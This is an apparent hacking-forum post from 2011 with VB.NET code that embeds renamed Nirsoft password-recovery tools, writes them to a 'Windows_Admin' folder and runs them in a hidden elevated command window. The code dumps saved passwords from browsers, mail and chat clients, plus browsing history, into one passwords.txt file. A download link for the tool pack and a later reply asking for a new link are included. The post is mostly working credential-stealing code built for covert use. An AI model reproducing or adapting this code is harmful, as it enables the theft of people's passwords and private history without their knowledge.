??D - January 20, 2011, 2:35 pm

This method is able to get passwords from:

Code Firefox

Google Chrome

Internet Explorer

Opera

Outlook

AIM

Pidgin

MSN Messenger (Windows Live)

Yahoo Messenger

Also Gets Web History From:

Code Firefox

Internet Explorer

DISCLAIMER: I am well aware that this is a total noob way of doing this, and definitely not the best way.

What You Need

This basically works using third-party tools form [Nirsoft](#). You will need to download:

Code messenpass

mail passview

iepassview

passwordfox

chromepass

operapassview

skypelogview

Or download the pack:

Code <http://www.mediafire.com/?3301t121ztbgjrj>

MD5:12aa429ef6c2bf67302c79ecb9251388Now include the .exe files into your project and use this function:

*NOTE I renamed the .exes before adding them to my project to make them easier to refer to later, so you made need to adjust the function accordingly

Code Private Sub GetPass()

Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Windows_Admin")

File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Windows_Admin/chrome.exe", My.Resources.ChromePass)

File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Windows_Admin/iehv.exe", My.Resources.iehv)

File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Windows_Admin/iepv.exe", My.Resources.iepv)

File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Windows_Admin/mailpv.exe", My.Resources.mailpv)

File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) &

```

"/Windows_Admin/mh.exe", My.Resources.MozillaHistoryView)
    File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) &
"/Windows_Admin/mspass.exe", My.Resources.mspass)
    File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) &
"/Windows_Admin/opera.exe", My.Resources.OperaPassView)
    File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) &
"/Windows_Admin/pfox.exe", My.Resources.PasswordFox)
    File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) &
"/Windows_Admin/skpye.exe", My.Resources.SkypeLogView)
    Dim s As New ProcessStartInfo("cmd.exe")
    s.RedirectStandardInput = True
    s.RedirectStandardOutput = True
    s.UseShellExecute = False
    s.CreateNoWindow = True
    s.Verb = "runas"
    Dim p As Process = Process.Start(s)
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\chrome.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chromepass.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\iehv.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iehv.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\iepv.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iepv.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mailpv.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\mail.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mh.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firehistory.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mspass.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chat.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\opera.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\opera.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\skpye.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\skype.txt")
    p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\pfox.exe"" & "/stext " &
Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firepass.txt")
    p.StandardInput.WriteLine("exit")
    Thread.Sleep(10000)
    Dim chrome As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\chromepass.txt")
    Dim iehv As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\iehv.txt")
    Dim iepv As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\iepv.txt")
    Dim mail As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\mail.txt")
    Dim firehistory As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\firehistory.txt")
    Dim chat As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &

```

```

"\chat.txt")
    Dim opera As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\opera.txt")
    Dim skype As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\skype.txt")
    Dim firepass As New
System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) &
"\firepass.txt")
    Dim passwords As New
StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\passwords.txt")
passwords.WriteLine("FIREFOX PASSWORDS")
passwords.WriteLine("*****")
passwords.WriteLine(firepass.ReadToEnd)
passwords.WriteLine("INTERNET EXPLORER PASSWORDS")
passwords.WriteLine("*****")
passwords.WriteLine(iepv.ReadToEnd)
passwords.WriteLine("CHROME PASSWORDS")
passwords.WriteLine("*****")
passwords.WriteLine(chrome.ReadToEnd)
passwords.WriteLine("OPERA PASSWORDS")
passwords.WriteLine("*****")
passwords.WriteLine(opera.ReadToEnd)
passwords.WriteLine("CHAT PASSWORDS")
passwords.WriteLine("*****")
passwords.WriteLine(chat.ReadToEnd)
passwords.WriteLine("MAIL PASSWORDS")
passwords.WriteLine("*****")
passwords.WriteLine(mail.ReadToEnd)
passwords.WriteLine("FIREFOX HISTORY")
passwords.WriteLine("*****")
passwords.WriteLine(firehistory.ReadToEnd)
passwords.WriteLine("INTERNET EXPLORER HISTORY")
passwords.WriteLine("*****")
passwords.WriteLine(iehv.ReadToEnd)
passwords.WriteLine("SKYPE")
passwords.WriteLine("*****")
passwords.WriteLine(skype.ReadToEnd)
passwords.Close()

```

End SubThis will make a passwords.txt in the Favorites Folder (I use this folder for no special reason, just a preference, can obviously be changed)

Like I said before, definitely not the best way, but it does work.

 didn't see that post. doesnt surprise me though that someone else would have come up with this

method first

unknownhackers - January 7, 2020, 1:16 pm

Seems like the link is down, does anyone or you got a new one? or maybe a new better source:)
